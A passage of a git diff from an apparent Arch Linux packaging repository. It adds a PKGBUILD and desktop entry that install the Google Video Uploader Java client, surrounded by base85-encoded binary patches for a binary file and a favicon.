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°{=SJnf7tRzmFqXm^J$8B%Y|Va_gYwSecgsHsSi>H+b= zJjFCr?vb1$JnAswK+fsQVAODzWyW0N^VrR{ft3;b;PBYew-E5}CcWPPmOSDx`zWf) zr_*XE=vz?HaQ6H?p?cPTK^IXmHrkAeJq> zDBMW8thp$`@Jq>~CgdxJ_DkZ@gy4rkG+{~a;=D$DefRW$R2_It4vm- z6ZIhQTzOPV)nEr6p*r#fJn%&ro42YD@c7MeRhqk}MtKN0G0_ce zh;MTp*d$&{6?c5VDESEgBpiN(kQjj6=8`XX33Pj5d$D;0-N!l8Z^~ZW(L4`qEEl!J zg&%|eqgD|8H!1iejOt|czmi@56bpkDb!EW50{9D$TQZArd?X<-1gfB_8Tm1~CH?CT z1NYwA^qftyled)4%pXy{B7cD7{{U?1dWXT_x8*v`w40kfe%!+51!qL_JrMvDo9zwu zM*Hi9=AzV;?O=6YzOp@vE3v_iWzO_VBGEi`uojYLKVUG}L0)V}au~DF8ti7zk8i>+ zZbgrZ>*vkJgpeyfC6|=GIt$%4;sxrCtZTv$6U$`?l@9i-hy01Gd_2;*9IjZc_BV zo>5ed`kkR|&z=@D6u*(4Hr?qjbX>Bq?U^%}`+uuH>mIh#f}fZ?eLnx)-Qu4DU$8Pz z0sSkAZ%EIDLskNMECqS3GNSrcjE9lh`yqbLEp|68K*-}ul9|Fm&OMXDYo0s z+4`_XAbJ>^L5KzRMA786cZpxXg*LQEAYA%$L~t}C{+cHQ5>Z9e7gB( z-z%R8v8zQsz`}m^47+PfU2{Is4m^-X0kqWry~7#=2~!Epo`9`Rr0jR*p`5ELC3-+H zWp76yr4|G(o&v!|Kl-ZE4Z>T{R1U5ucrjG|L&Il(hCbzXbAmP_EHT%0p(JH!er`#E z7o$D~|5?sN4yL>OY7fH-^f3iFpyZcU%2TWA1POW>i=0L}6FT)Z*$>J4<lRgPaep z6s6qRj6U6i5bJ)3gXPU>zu#I~a(qFi&t~`%^ivk0#70i=WLIwLynLh4+Av=U;JX}x zc)NU^yxkkT=^E9HrzQ*QoIrmeu?BY1M-EFtDfi8@JrLBIVj`Bf<*0! viUpXji%^y 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 literal 0 HcmV?d00001 diff --git a/google-video-uploader/PKGBUILD b/google-video-uploader/PKGBUILD new file mode 100644 index 0000000..f896fbe --- /dev/null +++ b/google-video-uploader/PKGBUILD @@ -0,0 +1,41 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=google-video-uploader +pkgver=1.0.7j +pkgrel=1 +pkgdesc='Client software for uploading videos on video.google.com' +arch=('any') +license=('not-specified') +url='http://www.google.com/video/upload/video_instructions.html' +depends=('java-runtime') +source=( + 'http://www.google.com/video/upload/GoogleVideoUploader.jar' + 'http://www.google.com/favicon.ico' +) +md5sums=('a6ba53cdd6df91203e5a15ba7098b0c8') + +build() { + #mkdir -p ${pkgdir}/usr/bin + mkdir -p ${pkgdir}/usr/share/java + + cp ${srcdir}/GoogleVideoUploader.jar ${pkgdir}/usr/share/java/ + + mkdir -p ${pkgdir}/usr/share/applications + + echo '[Desktop Entry] +Encoding=UTF-8 +Name=Google Video Uploader +Comment=Uploads videos to video.google.com +Comment[cs]=Nahrává videa na video.google.com +GenericName=Google Video Uploader +Type=Application +Exec=java -jar /usr/share/java/GoogleVideoUploader.jar +#Icon=preferences-desktop-keyboard +Terminal=false +Categories=Application;Java;AudioVideo +' > ${pkgdir}/usr/share/applications/google-video-uploader.desktop + + chmod -R 755 ${pkgdir}/ +} diff --git a/google-video-uploader/favicon.ico b/google-video-uploader/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..ee7c943abf1064e3110161deb3a6477fcc7789b5 GIT binary patch literal 1150 zcmai!ZEO@(6o&8IDMXq|w?7~;fHp>@yX|&cgxJ_d0|o(W0wkiuMEv;W=W3v( z)q+3~th6X-V-^ZT+iD9Nw5Wh0X<8r_wUvGWQrV^LZkvVebm#HR_?tMBvv>E*ec$uG zXU<)v47oiXC7+q<#T2DxDy6a{Bqf>u^0M6Wii}$XPK8<0I>KX3QJ$1_XGfg4m7sUv z9K~w*c>_2 zz(cQ__{t3m%S;O1RTKz*@mq@CNQ_zaf8Yt-AT1Ony(LC^^Qg=5;GwIGC4|9>Q&KU9 z+)Alip~;tZ;RcOgbc|a!$qBZjz8yiIvPnH*F|93*I(Ute#vW|jhDn>{JMLvcmBP1G z;TQbkjZ;L20ZBOf&luju4pJNYP%W3xUkx(9;R1g~q7Ib)q2DR2yq(-?@&2KSze-b3 zAs#j=&K?Vr91goayGAEyyf{QnXD`>rZb%NS$q8N#7BhdVfp@3W7mnO5;^70~5{_-f zck|h5FU{|*;D_p081C+rjwR)`3CF^`bfAcA!RFTp*1=2ow@Yl6*rcd0oyV8UXS28D zHg-RrL3F6k^?W%pz*BW|$=)UPKGFCjyz<@mk@Ri5fnPLur5^`Y%;3`{9)hnfqOE?D 